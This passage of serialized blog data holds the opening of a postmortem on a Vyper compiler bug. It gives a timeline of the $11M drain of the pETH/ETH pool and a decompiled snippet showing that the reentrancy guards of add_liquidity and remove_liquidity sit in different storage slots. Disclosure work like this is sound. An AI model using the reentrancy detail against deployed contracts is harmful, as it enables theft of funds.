3,"children":27814},{"style":154},[27815],{"type":29,"value":202},{"type":23,"tag":141,"props":27817,"children":27818},{"class":143,"line":205},[27819,27823],{"type":23,"tag":141,"props":27820,"children":27821},{"style":148},[27822],{"type":29,"value":151},{"type":23,"tag":141,"props":27824,"children":27825},{"style":154},[27826],{"type":29,"value":215},{"type":23,"tag":141,"props":27828,"children":27829},{"class":143,"line":218},[27830],{"type":23,"tag":141,"props":27831,"children":27832},{"style":154},[27833],{"type":29,"value":224},{"type":23,"tag":141,"props":27835,"children":27836},{"class":143,"line":227},[27837,27841],{"type":23,"tag":141,"props":27838,"children":27839},{"style":148},[27840],{"type":29,"value":233},{"type":23,"tag":141,"props":27842,"children":27843},{"style":154},[27844],{"type":29,"value":238},{"type":23,"tag":141,"props":27846,"children":27847},{"class":143,"line":241},[27848,27852,27856,27860],{"type":23,"tag":141,"props":27849,"children":27850},{"style":184},[27851],{"type":29,"value":247},{"type":23,"tag":141,"props":27853,"children":27854},{"style":154},[27855],{"type":29,"value":192},{"type":23,"tag":141,"props":27857,"children":27858},{"style":160},[27859],{"type":29,"value":197},{"type":23,"tag":141,"props":27861,"children":27862},{"style":154},[27863],{"type":29,"value":202},{"type":23,"tag":141,"props":27865,"children":27866},{"class":143,"line":262},[27867],{"type":23,"tag":141,"props":27868,"children":27869},{"style":148},[27870],{"type":29,"value":268},{"type":23,"tag":141,"props":27872,"children":27873},{"class":143,"line":271},[27874,27878,27882,27886],{"type":23,"tag":141,"props":27875,"children":27876},{"style":184},[27877],{"type":29,"value":277},{"type":23,"tag":141,"props":27879,"children":27880},{"style":154},[27881],{"type":29,"value":192},{"type":23,"tag":141,"props":27883,"children":27884},{"style":160},[27885],{"type":29,"value":197},{"type":23,"tag":141,"props":27887,"children":27888},{"style":154},[27889],{"type":29,"value":290},{"type":23,"tag":141,"props":27891,"children":27892},{"class":143,"line":293},[27893],{"type":23,"tag":141,"props":27894,"children":27895},{"style":154},[27896],{"type":29,"value":299},{"type":23,"tag":32,"props":27898,"children":27899},{},[27900,27901,27906,27907,27912],{"type":29,"value":304},{"type":23,"tag":55,"props":27902,"children":27904},{"href":307,"rel":27903},[59],[27905],{"type":29,"value":311},{"type":29,"value":313},{"type":23,"tag":55,"props":27908,"children":27910},{"href":316,"rel":27909},[59],[27911],{"type":29,"value":320},{"type":29,"value":322},{"type":23,"tag":32,"props":27914,"children":27915},{},[27916],{"type":29,"value":327},{"type":23,"tag":116,"props":27918,"children":27919},{},[27920,27924,27928,27932],{"type":23,"tag":120,"props":27921,"children":27922},{},[27923],{"type":29,"value":124},{"type":23,"tag":120,"props":27925,"children":27926},{},[27927],{"type":29,"value":339},{"type":23,"tag":120,"props":27929,"children":27930},{},[27931],{"type":29,"value":129},{"type":23,"tag":120,"props":27933,"children":27934},{},[27935],{"type":29,"value":348},{"type":23,"tag":32,"props":27937,"children":27938},{},[27939],{"type":29,"value":353},{"type":23,"tag":355,"props":27941,"children":27942},{},[27943],{"type":23,"tag":32,"props":27944,"children":27945},{},[27946],{"type":29,"value":362},{"type":23,"tag":32,"props":27948,"children":27949},{},[27950],{"type":29,"value":367},{"type":23,"tag":32,"props":27952,"children":27953},{},[27954],{"type":29,"value":372},{"type":23,"tag":32,"props":27956,"children":27957},{},[27958],{"type":29,"value":377},{"type":23,"tag":24,"props":27960,"children":27961},{"id":380},[27962],{"type":29,"value":383},{"type":23,"tag":32,"props":27964,"children":27965},{},[27966,27967,27972,27973,27977],{"type":29,"value":388},{"type":23,"tag":55,"props":27968,"children":27970},{"href":391,"rel":27969},[59],[27971],{"type":29,"value":395},{"type":29,"value":397},{"type":23,"tag":47,"props":27974,"children":27975},{},[27976],{"type":29,"value":402},{"type":29,"value":322},{"type":23,"tag":32,"props":27979,"children":27980},{},[27981],{"type":29,"value":408},{"type":23,"tag":32,"props":27983,"children":27984},{},[27985,27986,27991,27992,27997],{"type":29,"value":413},{"type":23,"tag":38,"props":27987,"children":27989},{"className":27988},[],[27990],{"type":29,"value":419},{"type":29,"value":421},{"type":23,"tag":38,"props":27993,"children":27995},{"className":27994},[],[27996],{"type":29,"value":427},{"type":29,"value":429},{"type":23,"tag":131,"props":27999,"children":28000},{"className":432,"code":433,"language":17,"meta":7,"style":7},[28001],{"type":23,"tag":38,"props":28002,"children":28003},{"__ignoreMap":7},[28004,28019],{"type":23,"tag":141,"props":28005,"children":28006},{"class":143,"line":144},[28007,28011,28015],{"type":23,"tag":141,"props":28008,"children":28009},{"style":443},[28010],{"type":29,"value":446},{"type":23,"tag":141,"props":28012,"children":28013},{"style":449},[28014],{"type":29,"value":452},{"type":23,"tag":141,"props":28016,"children":28017},{"style":443},[28018],{"type":29,"value":457},{"type":23,"tag":141,"props":28020,"children":28021},{"class":143,"line":180},[28022,28026,28030,28034,28038,28042,28046,28050],{"type":23,"tag":141,"props":28023,"children":28024},{"style":184},[28025],{"type":29,"value":465},{"type":23,"tag":141,"props":28027,"children":28028},{"style":154},[28029],{"type":29,"value":192},{"type":23,"tag":141,"props":28031,"children":28032},{"style":472},[28033],{"type":29,"value":475},{"type":23,"tag":141,"props":28035,"children":28036},{"style":154},[28037],{"type":29,"value":480},{"type":23,"tag":141,"props":28039,"children":28040},{"style":184},[28041],{"type":29,"value":419},{"type":23,"tag":141,"props":28043,"children":28044},{"style":154},[28045],{"type":29,"value":192},{"type":23,"tag":141,"props":28047,"children":28048},{"style":472},[28049],{"type":29,"value":493},{"type":23,"tag":141,"props":28051,"children":28052},{"style":154},[28053],{"type":29,"value":498},{"type":23,"tag":32,"props":28055,"children":28056},{},[28057,28058,28063],{"type":29,"value":503},{"type":23,"tag":55,"props":28059,"children":28061},{"href":506,"rel":28060},[59],[28062],{"type":29,"value":510},{"type":29,"value":512},{"type":23,"tag":355,"props":28065,"children":28066},{},[28067],{"type":23,"tag":32,"props":28068,"children":28069},{},[28070,28071,28076,28077,28082,28083,28088],{"type":29,"value":520},{"type":23,"tag":38,"props":28072,"children":28074},{"className":28073},[],[28075],{"type":29,"value":526},{"type":29,"value":528},{"type":23,"tag":38,"props":28078,"children":28080},{"className":28079},[],[28081],{"type":29,"value":534},{"type":29,"value":536},{"type":23,"tag":38,"props":28084,"children":28086},{"className":28085},[],[28087],{"type":29,"value":542},{"type":29,"value":322},{"type":23,"tag":32,"props":28090,"children":28091},{},[28092,28093,28098,28099,28104],{"type":29,"value":548},{"type":23,"tag":38,"props":28094,"children":28096},{"className":28095},[],[28097],{"type":29,"value":419},{"type":29,"value":555},{"type":23,"tag":38,"props":28100,"children":28102},{"className":28101},[],[28103],{"type":29,"value":561},{"type":29,"value":563},{"type":23,"tag":32,"props":28106,"children":28107},{},[28108,28109,28114,28115,28119,28120,28125],{"type":29,"value":568},{"type":23,"tag":55,"props":28110,"children":28112},{"href":571,"rel":28111},[59],[28113],{"type":29,"value":575},{"type":29,"value":577},{"type":23,"tag":47,"props":28116,"children":28117},{},[28118],{"type":29,"value":582},{"type":29,"value":584},{"type":23,"tag":38,"props":28121,"children":28123},{"className":28122},[],[28124],{"type":29,"value":419},{"type":29,"value":322},{"type":23,"tag":32,"props":28127,"children":28128},{},[28129],{"type":29,"value":595},{"type":23,"tag":32,"props":28131,"children":28132},{},[28133,28134,28139],{"type":29,"value":600},{"type":23,"tag":38,"props":28135,"children":28137},{"className":28136},[],[28138],{"type":29,"value":606},{"type":29,"value":608},{"type":23,"tag":24,"props":28141,"children":28142},{"id":83},[28143],{"type":29,"value":613},{"type":23,"tag":32,"props":28145,"children":28146},{},[28147],{"type":29,"value":618},{"type":23,"tag":32,"props":28149,"children":28150},{},[28151,28152,28157],{"type":29,"value":623},{"type":23,"tag":55,"props":28153,"children":28155},{"href":57,"rel":28154},[59],[28156],{"type":29,"value":629},{"type":29,"value":631},{"type":23,"tag":355,"props":28159,"children":28160},{},[28161,28165],{"type":23,"tag":32,"props":28162,"children":28163},{},[28164],{"type":29,"value":639},{"type":23,"tag":116,"props":28166,"children":28167},{},[28168,28172,28176,28180],{"type":23,"tag":120,"props":28169,"children":28170},{},[28171],{"type":29,"value":647},{"type":23,"tag":120,"props":28173,"children":28174},{},[28175],{"type":29,"value":652},{"type":23,"tag":120,"props":28177,"children":28178},{},[28179],{"type":29,"value":657},{"type":23,"tag":120,"props":28181,"children":28182},{},[28183],{"type":29,"value":662},{"type":23,"tag":32,"props":28185,"children":28186},{},[28187,28188,28193,28201],{"type":29,"value":667},{"type":23,"tag":55,"props":28189,"children":28191},{"href":670,"rel":28190},[59],[28192],{"type":29,"value":674},{"type":23,"tag":676,"props":28194,"children":28195},{},[28196],{"type":23,"tag":55,"props":28197,"children":28199},{"href":681,"ariaDescribedBy":28198,"dataFootnoteRef":7,"id":684},[683],[28200],{"type":29,"value":687},{"type":29,"value":322},{"type":23,"tag":131,"props":28203,"children":28204},{"className":133,"code":691,"language":135,"meta":7,"style":7},[28205],{"type":23,"tag":38,"props":28206,"children":28207},{"__ignoreMap":7},[28208,28215,28222,28229,28260,28267,28274,28281,28288,28295,28302,28313,28324,28331],{"type":23,"tag":141,"props":28209,"children":28210},{"class":143,"line":144},[28211],{"type":23,"tag":141,"props":28212,"children":28213},{"style":443},[28214],{"type":29,"value":703},{"type":23,"tag":141,"props":28216,"children":28217},{"class":143,"line":180},[28218],{"type":23,"tag":141,"props":28219,"children":28220},{"style":443},[28221],{"type":29,"value":711},{"type":23,"tag":141,"props":28223,"children":28224},{"class":143,"line":205},[28225],{"type":23,"tag":141,"props":28226,"children":28227},{"emptyLinePlaceholder":15},[28228],{"type":29,"value":719},{"type":23,"tag":141,"props":28230,"children":28231},{"class":143,"line":218},[28232,28236,28240,28244,28248,28252,28256],{"type":23,"tag":141,"props":28233,"children":28234},{"style":725},[28235],{"type":29,"value":728},{"type":23,"tag":141,"props":28237,"children":28238},{"style":154},[28239],{"type":29,"value":733},{"type":23,"tag":141,"props":28241,"children":28242},{"style":184},[28243],{"type":29,"value":738},{"type":23,"tag":141,"props":28245,"children":28246},{"style":154},[28247],{"type":29,"value":192},{"type":23,"tag":141,"props":28249,"children":28250},{"style":449},[28251],{"type":29,"value":747},{"type":23,"tag":141,"props":28253,"children":28254},{"style":750},[28255],{"type":29,"value":753},{"type":23,"tag":141,"props":28257,"children":28258},{"style":154},[28259],{"type":29,"value":758},{"type":23,"tag":141,"props":28261,"children":28262},{"class":143,"line":227},[28263],{"type":23,"tag":141,"props":28264,"children":28265},{"style":154},[28266],{"type":29,"value":766},{"type":23,"tag":141,"props":28268,"children":28269},{"class":143,"line":241},[28270],{"type":23,"tag":141,"props":28271,"children":28272},{"style":443},[28273],{"type":29,"value":774},{"type":23,"tag":141,"props":28275,"children":28276},{"class":143,"line":262},[28277],{"type":23,"tag":141,"props":28278,"children":28279},{"style":443},[28280],{"type":29,"value":782},{"type":23,"tag":141,"props":28282,"children":28283},{"class":143,"line":271},[28284],{"type":23,"tag":141,"props":28285,"children":28286},{"style":443},[28287],{"type":29,"value":790},{"type":23,"tag":141,"props":28289,"children":28290},{"class":143,"line":293},[28291],{"type":23,"tag":141,"props":28292,"children":28293},{"style":148},[28294],{"type":29,"value":798},{"type":23,"tag":141,"props":28296,"children":28297},{"class":143,"line":801},[28298],{"type":23,"tag":141,"props":28299,"children":28300},{"style":154},[28301],{"type":29,"value":807},{"type":23,"tag":141,"props":28303,"children":28304},{"class":143,"line":810},[28305,28309],{"type":23,"tag":141,"props":28306,"children":28307},{"style":154},[28308],{"type":29,"value":816},{"type":23,"tag":141,"props":28310,"children":28311},{"style":160},[28312],{"type":29,"value":821},{"type":23,"tag":141,"props":28314,"children":28315},{"class":143,"line":824},[28316,28320],{"type":23,"tag":141,"props":28317,"children":28318},{"style":828},[28319],{"type":29,"value":831},{"type":23,"tag":141,"props":28321,"children":28322},{"style":160},[28323],{"type":29,"value":836},{"type":23,"tag":141,"props":28325,"children":28326},{"class":143,"line":839},[28327],{"type":23,"tag":141,"props":28328,"children":28329},{"style":828},[28330],{"type":29,"value":845},{"type":23,"tag":141,"props":28332,"children":28333},{"class":143,"line":848},[28334],{"type":23,"tag":141,"props":28335,"children":28336},{"style":154},[28337],{"type":29,"value":854},{"type":23,"tag":32,"props":28339,"children":28340},{},[28341,28346,28347,28352],{"type":23,"tag":38,"props":28342,"children":28344},{"className":28343},[],[28345],{"type":29,"value":427},{"type":29,"value":864},{"type":23,"tag":38,"props":28348,"children":28350},{"className":28349},[],[28351],{"type":29,"value":870},{"type":29,"value":872},{"type":23,"tag":131,"props":28354,"children":28355},{"className":432,"code":875,"language":17,"meta":7,"style":7},[28356],{"type":23,"tag":38,"props":28357,"children":28358},{"__ignoreMap":7},[28359,28374],{"type":23,"tag":141,"props":28360,"children":28361},{"class":143,"line":144},[28362,28366,28370],{"type":23,"tag":141,"props":28363,"children":28364},{"style":443},[28365],{"type":29,"value":446},{"type":23,"tag":141,"props":28367,"children":28368},{"style":449},[28369],{"type":29,"value":452},{"type":23,"tag":141,"props":28371,"children":28372},{"style":443},[28373],{"type":29,"value":457},{"type":23,"tag":141,"props":28375,"children":28376},{"class":143,"line":180},[28377,28381,28385,28389,28393,28397],{"type":23,"tag":141,"props":28378,"children":28379},{"style":184},[28380],{"type":29,"value":902},{"type":23,"tag":141,"props":28382,"children":28383},{"style":154},[28384],{"type":29,"value":192},{"type":23,"tag":141,"props":28386,"children":28387},{"style":472},[28388],{"type":29,"value":475},{"type":23,"tag":141,"props":28390,"children":28391},{"style":154},[28392],{"type":29,"value":480},{"type":23,"tag":141,"props":28394,"children":28395},{"style":472},[28396],{"type":29,"value":919},{"type":23,"tag":141,"props":28398,"children":28399},{"style":154},[28400],{"type":29,"value":758},{"type":23,"tag":32,"props":28402,"children":28403},{},[28404,28405,28410,28411,28416],{"type":29,"value":928},{"type":23,"tag":38,"props":28406,"children":28408},{"className":28407},[],[28409],{"type":29,"value":419},{"type":29,"value":935},{"type":23,"tag":38,"props":28412,"children":28414},{"className":28413},[],[28415],{"type":29,"value":419},{"type":29,"value":942},{"type":23,"tag":355,"props":28418,"children":28419},{},[28420],{"type":23,"tag":32,"props":28421,"children":28422},{},[28423,28424,28429,28430,28435,28436,28441],{"type":29,"value":520},{"type":23,"tag":38,"props":28425,"children":28427},{"className":28426},[],[28428],{"type":29,"value":526},{"type":29,"value":528},{"type":23,"tag":38,"props":28431,"children":28433},{"className":28432},[],[28434],{"type":29,"value":534},{"type":29,"value":536},{"type":23,"tag":38,"props":28437,"children":28439},{"className":28438},[],[28440],{"type":29,"value":542},{"type":29,"value":322},{"type":23,"tag":32,"props":28443,"children":28444},{},[28445],{"type":29,"value":972},{"type":23,"tag":24,"props":28447,"children":28448},{"id":975},[28449],{"type":29,"value":978},{"type":23,"tag":32,"props":28451,"children":28452},{},[28453,28454,28459,28460,28465,28466,28471],{"type":29,"value":983},{"type":23,"tag":38,"props":28455,"children":28457},{"className":28456},[],[28458],{"type":29,"value":419},{"type":29,"value":990},{"type":23,"tag":38,"props":28461,"children":28463},{"className":28462},[],[28464],{"type":29,"value":43},{"type":29,"value":997},{"type":23,"tag":38,"props":28467,"children":28469},{"className":28468},[],[28470],{"type":29,"value":1003},{"type":29,"value":1005},{"type":23,"tag":32,"props":28473,"children":28474},{},[28475,28476,28481,28482,28486],{"type":29,"value":388},{"type":23,"tag":55,"props":28477,"children":28479},{"href":1012,"rel":28478},[59],[28480],{"type":29,"value":1016},{"type":29,"value":1018},{"type":23,"tag":47,"props":28483,"children":28484},{},[28485],{"type":29,"value":1023},{"type":29,"value":1025},{"type":23,"tag":116,"props":28488,"children":28489},{},[28490,28494,28506],{"type":23,"tag":120,"props":28491,"children":28492},{},[28493],{"type":29,"value":1033},{"type":23,"tag":120,"props":28495,"children":28496},{},[28497,28498],{"type":29,"value":1038},{"type":23,"tag":676,"props":28499,"children":28500},{},[28501],{"type":23,"tag":55,"props":28502,"children":28504},{"href":1044,"ariaDescribedBy":28503,"dataFootnoteRef":7,"id":1046},[683],[28505],{"type":29,"value":1049},{"type":23,"tag":120,"props":28507,"children":28508},{},[28509],{"type":29,"value":1054},{"type":23,"tag":32,"props":28511,"children":28512},{},[28513],{"type":29,"value":1059},{"type":23,"tag":32,"props":28515,"children":28516},{},[28517,28518,28523,28524,28529],{"type":29,"value":1064},{"type":23,"tag":55,"props":28519,"children":28521},{"href":1067,"rel":28520},[59],[28522],{"type":29,"value":1071},{"type":29,"value":1073},{"type":23,"tag":55,"props":28525,"children":28527},{"href":1076,"rel":28526},[59],[28528],{"type":29,"value":1080},{"type":29,"value":322},{"type":23,"tag":32,"props":28531,"children":28532},{},[28533,28534,28539,28540,28544],{"type":29,"value":1086},{"type":23,"tag":55,"props":28535,"children":28537},{"href":1089,"rel":28536},[59],[28538],{"type":29,"value":1093},{"type":29,"value":1095},{"type":23,"tag":47,"props":28541,"children":28542},{},[28543],{"type":29,"value":1100},{"type":29,"value":322},{"type":23,"tag":355,"props":28546,"children":28547},{},[28548],{"type":23,"tag":32,"props":28549,"children":28550},{},[28551],{"type":29,"value":1109},{"type":23,"tag":32,"props":28553,"children":28554},{},[28555,28556,28560],{"type":29,"value":1114},{"type":23,"tag":47,"props":28557,"children":28558},{},[28559],{"type":29,"value":1119},{"type":29,"value":322},{"type":23,"tag":32,"props":28562,"children":28563},{},[28564],{"type":29,"value":1125},{"type":23,"tag":116,"props":28566,"children":28567},{},[28568],{"type":23,"tag":120,"props":28569,"children":28570},{},[28571,28572,28577],{"type":29,"value":1133},{"type":23,"tag":55,"props":28573,"children":28575},{"href":1136,"rel":28574},[59],[28576],{"type":29,"value":1140},{"type":29,"value":322},{"type":23,"tag":131,"props":28579,"children":28580},{"className":133,"code":1144,"language":135,"meta":7,"style":7},[28581],{"type":23,"tag":38,"props":28582,"children":28583},{"__ignoreMap":7},[28584,28619,28626,28637,28704,28723,28770,28777],{"type":23,"tag":141,"props":28585,"children":28586},{"class":143,"line":144},[28587,28591,28595,28599,28603,28607,28611,28615],{"type":23,"tag":141,"props":28588,"children":28589},{"style":449},[28590],{"type":29,"value":747},{"type":23,"tag":141,"props":28592,"children":28593},{"style":154},[28594],{"type":29,"value":1160},{"type":23,"tag":141,"props":28596,"children":28597},{"style":184},[28598],{"type":29,"value":1165},{"type":23,"tag":141,"props":28600,"children":28601},{"style":154},[28602],{"type":29,"value":192},{"type":23,"tag":141,"props":28604,"children":28605},{"style":725},[28606],{"type":29,"value":1174},{"type":23,"tag":141,"props":28608,"children":28609},{"style":449},[28610],{"type":29,"value":1179},{"type":23,"tag":141,"props":28612,"children":28613},{"style":750},[28614],{"type":29,"value":1184},{"type":23,"tag":141,"props":28616,"children":28617},{"style":154},[28618],{"type":29,"value":758},{"type":23,"tag":141,"props":28620,"children":28621},{"class":143,"line":180},[28622],{"type":23,"tag":141,"props":28623,"children":28624},{"style":154},[28625],{"type":29,"value":766},{"type":23,"tag":141,"props":28627,"children":28628},{"class":143,"line":205},[28629,28633],{"type":23,"tag":141,"props":28630,"children":28631},{"style":184},[28632],{"type":29,"value":1203},{"type":23,"tag":141,"props":28634,"children":28635},{"style":154},[28636],{"type":29,"value":1208},{"type":23,"tag":141,"props":28638,"children":28639},{"class":143,"line":218},[28640,28644,28648,28652,28656,28660,28664,28668,28672,28676,28680,28684,28688,28692,28696,28700],{"type":23,"tag":141,"props":28641,"children":28642},{"style":148},[28643],{"type":29,"value":151},{"type":23,"tag":141,"props":28645,"children":28646},{"style":154},[28647],{"type":29,"value":1220},{"type":23,"tag":141,"props":28649,"children":28650},{"style":160},[28651],{"type":29,"value":197},{"type":23,"tag":141,"props":28653,"children":28654},{"style":750},[28655],{"type":29,"value":1229},{"type":23,"tag":141,"props":28657,"children":28658},{"style":154},[28659],{"type":29,"value":322},{"type":23,"tag":141,"props":28661,"children":28662},{"style":184},[28663],{"type":29,"value":1238},{"type":23,"tag":141,"props":28665,"children":28666},{"style":154},[28667],{"type":29,"value":1243},{"type":23,"tag":141,"props":28669,"children":28670},{"style":750},[28671],{"type":29,"value":1248},{"type":23,"tag":141,"props":28673,"children":28674},{"style":160},[28675],{"type":29,"value":1253},{"type":23,"tag":141,"props":28677,"children":28678},{"style":160},[28679],{"type":29,"value":1258},{"type":23,"tag":141,"props":28681,"children":28682},{"style":750},[28683],{"type":29,"value":1229},{"type":23,"tag":141,"props":28685,"children":28686},{"style":154},[28687],{"type":29,"value":322},{"type":23,"tag":141,"props":28689,"children":28690},{"style":184},[28691],{"type":29,"value":1238},{"type":23,"tag":141,"props":28693,"children":28694},{"style":154},[28695],{"type":29,"value":1243},{"type":23,"tag":141,"props":28697,"children":28698},{"style":750},[28699],{"type":29,"value":1279},{"type":23,"tag":141,"props":28701,"children":28702},{"style":154},[28703],{"type":29,"value":758},{"type":23,"tag":141,"props":28705,"children":28706},{"class":143,"line":227},[28707,28711,28715,28719],{"type":23,"tag":141,"props":28708,"children":28709},{"style":750},[28710],{"type":29,"value":1291},{"type":23,"tag":141,"props":28712,"children":28713},{"style":154},[28714],{"type":29,"value":322},{"type":23,"tag":141,"props":28716,"children":28717},{"style":184},[28718],{"type":29,"value":1300},{"type":23,"tag":141,"props":28720,"children":28721},{"style":154},[28722],{"type":29,"value":1305},{"type":23,"tag":141,"props":28724,"children":28725},{"class":143,"line":241},[28726,28730,28734,28738,28742,28746,28750,28754,28758,28762,28766],{"type":23,"tag":141,"props":28727,"children":28728},{"style":154},[28729],{"type":29,"value":1313},{"type":23,"tag":141,"props":28731,"children":28732},{"style":750},[28733],{"type":29,"value":1229},{"type":23,"tag":141,"props":28735,"children":28736},{"style":154},[28737],{"type":29,"value":322},{"type":23,"tag":141,"props":28739,"children":28740},{"style":184},[28741],{"type":29,"value":1326},{"type":23,"tag":141,"props":28743,"children":28744},{"style":154},[28745],{"type":29,"value":1331},{"type":23,"tag":141,"props":28747,"children":28748},{"style":750},[28749],{"type":29,"value":1229},{"type":23,"tag":141,"props":28751,"children":28752},{"style":154},[28753],{"type":29,"value":322},{"type":23,"tag":141,"props":28755,"children":28756},{"style":184},[28757],{"type":29,"value":1238},{"type":23,"tag":141,"props":28759,"children":28760},{"style":154},[28761],{"type":29,"value":1243},{"type":23,"tag":141,"props":28763,"children":28764},{"style":750},[28765],{"type":29,"value":1352},{"type":23,"tag":141,"props":28767,"children":28768},{"style":154},[28769],{"type":29,"value":1357},{"type":23,"tag":141,"props":28771,"children":28772},{"class":143,"line":262},[28773],{"type":23,"tag":141,"props":28774,"children":28775},{"emptyLinePlaceholder":15},[28776],{"type":29,"value":719},{"type":23,"tag":141,"props":28778,"children":28779},{"class":143,"line":271},[28780,28784,28788,28792,28796,28800,28804,28808],{"type":23,"tag":141,"props":28781,"children":28782},{"style":154},[28783],{"type":29,"value":1372},{"type":23,"tag":141,"props":28785,"children":28786},{"style":160},[28787],{"type":29,"value":1377},{"type":23,"tag":141,"props":28789,"children":28790},{"style":184},[28791],{"type":29,"value":1382},{"type":23,"tag":141,"props":28793,"children":28794},{"style":154},[28795],{"type":29,"value":192},{"type":23,"tag":141,"props":28797,"children":28798},{"style":750},[28799],{"type":29,"value":1229},{"type":23,"tag":141,"props":28801,"children":28802},{"style":154},[28803],{"type":29,"value":322},{"type":23,"tag":141,"props":28805,"children":28806},{"style":184},[28807],{"type":29,"value":1399},{"type":23,"tag":141,"props":28809,"children":28810},{"style":154},[28811],{"type":29,"value":1404},{"type":23,"tag":116,"props":28813,"children":28814},{"start":180},[28815],{"type":23,"tag":120,"props":28816,"children":28817},{},[28818],{"type":29,"value":1412},{"type":23,"tag":32,"props":28820,"children":28821},{},[28822],{"type":29,"value":1417},{"type":23,"tag":24,"props":28824,"children":28825},{"id":1420},[28826],{"type":29,"value":1423},{"type":23,"tag":32,"props":28828,"children":28829},{},[28830],{"type":29,"value":1428},{"type":23,"tag":32,"props":28832,"children":28833},{},[28834],{"type":29,"value":1433},{"type":23,"tag":1435,"props":28836,"children":28838},{"className":28837,"dataFootnotes":7},[1438],[28839,28844],{"type":23,"tag":24,"props":28840,"children":28842},{"className":28841,"id":683},[1443],[28843],{"type":29,"value":1446},{"type":23,"tag":116,"props":28845,"children":28846},{},[28847,28873],{"type":23,"tag":120,"props":28848,"children":28849},{"id":1452},[28850,28851,28856,28857,28862,28863,28867,28868],{"type":29,"value":1455},{"type":23,"tag":38,"props":28852,"children":28854},{"className":28853},[],[28855],{"type":29,"value":419},{"type":29,"value":1462},{"type":23,"tag":38,"props":28858,"children":28860},{"className":28859},[],[28861],{"type":29,"value":1468},{"type":29,"value":1470},{"type":23,"tag":47,"props":28864,"children":28865},{},[28866],{"type":29,"value":1475},{"type":29,"value":1477},{"type":23,"tag":55,"props":28869,"children":28871},{"href":1480,"ariaLabel":1481,"className":28870,"dataFootnoteBackref":7},[1483],[28872],{"type":29,"value":1486},{"type":23,"tag":120,"props":28874,"children":28875},{"id":1489},[28876,28877,28881,28882],{"type":29,"value":1492},{"type":23,"tag":47,"props":28878,"children":28879},{},[28880],{"type":29,"value":1497},{"type":29,"value":1499},{"type":23,"tag":55,"props":28883,"children":28885},{"href":1502,"ariaLabel":1503,"className":28884,"dataFootnoteBackref":7},[1483],[28886],{"type":29,"value":1486},{"type":23,"tag":1508,"props":28888,"children":28889},{},[28890],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":28892},[28893,28894,28895,28896,28897,28898,28899],{"id":26,"depth":180,"text":30},{"id":88,"depth":180,"text":91},{"id":380,"depth":180,"text":383},{"id":83,"depth":180,"text":613},{"id":975,"depth":180,"text":978},{"id":1420,"depth":180,"text":1423},{"id":683,"depth":180,"text":1446},{"_path":28901,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28902,"description":28903,"author":10,"image":28904,"date":28906,"isFeatured":15,"onBlogPage":15,"tags":28907,"body":28909,"_type":1522,"_id":29660,"_source":1524,"_file":29661,"_stem":29662,"_extension":1527},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":28905,"height":13,"width":13},"/posts/vyper-timeline/header.jpg","2023-08-01",[28908,18],"vyper",{"type":20,"children":28910,"toc":29651},[28911,28916,28921,28926,28932,28937,28955,28965,28970,28978,28988,29007,29087,29097,29257,29262,29267,29277,29284,29289,29294,29308,29313,29330,29347,29366,29376,29389,29394,29407,29412,29417,29427,29454,29464,29494,29500,29509,29515,29520,29525,29530,29536,29541,29555,29560,29565,29570,29576,29581,29594,29620,29625,29647],{"type":23,"tag":32,"props":28912,"children":28913},{},[28914],{"type":29,"value":28915},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":32,"props":28917,"children":28918},{},[28919],{"type":29,"value":28920},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":32,"props":28922,"children":28923},{},[28924],{"type":29,"value":28925},"Here's how it all happened.",{"type":23,"tag":24,"props":28927,"children":28929},{"id":28928},"timeline",[28930],{"type":29,"value":28931},"Timeline",{"type":23,"tag":32,"props":28933,"children":28934},{},[28935],{"type":29,"value":28936},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":32,"props":28938,"children":28939},{},[28940,28945,28947,28954],{"type":23,"tag":3998,"props":28941,"children":28942},{},[28943],{"type":29,"value":28944},"13:10 UTC",{"type":29,"value":28946}," pETH/ETH was ",{"type":23,"tag":55,"props":28948,"children":28951},{"href":28949,"rel":28950},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[59],[28952],{"type":29,"value":28953},"drained of $11M",{"type":29,"value":322},{"type":23,"tag":32,"props":28956,"children":28957},{},[28958,28963],{"type":23,"tag":3998,"props":28959,"children":28960},{},[28961],{"type":29,"value":28962},"13:19 UTC",{"type":29,"value":28964}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":32,"props":28966,"children":28967},{},[28968],{"type":29,"value":28969},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":355,"props":28971,"children":28972},{},[28973],{"type":23,"tag":32,"props":28974,"children":28975},{},[28976],{"type":29,"value":28977},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":32,"props":28979,"children":28980},{},[28981,28986],{"type":23,"tag":3998,"props":28982,"children":28983},{},[28984],{"type":29,"value":28985},"14:01 UTC",{"type":29,"value":28987}," A warroom was formed around this comment.",{"type":23,"tag":32,"props":28989,"children":28990},{},[28991,28996,28998,29005],{"type":23,"tag":3998,"props":28992,"children":28993},{},[28994],{"type":29,"value":28995},"14:07 UTC",{"type":29,"value":28997}," We decompiled the JPEGd contract ",{"type":23,"tag":55,"props":28999,"children":29002},{"href":29000,"rel":29001},"https://ethervm.io/decompile",[59],[29003],{"type":29,"value":29004},"with our favorite decompiler",{"type":29,"value":29006}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":131,"props":29008,"children":29012},{"className":29009,"code":29010,"language":29011,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 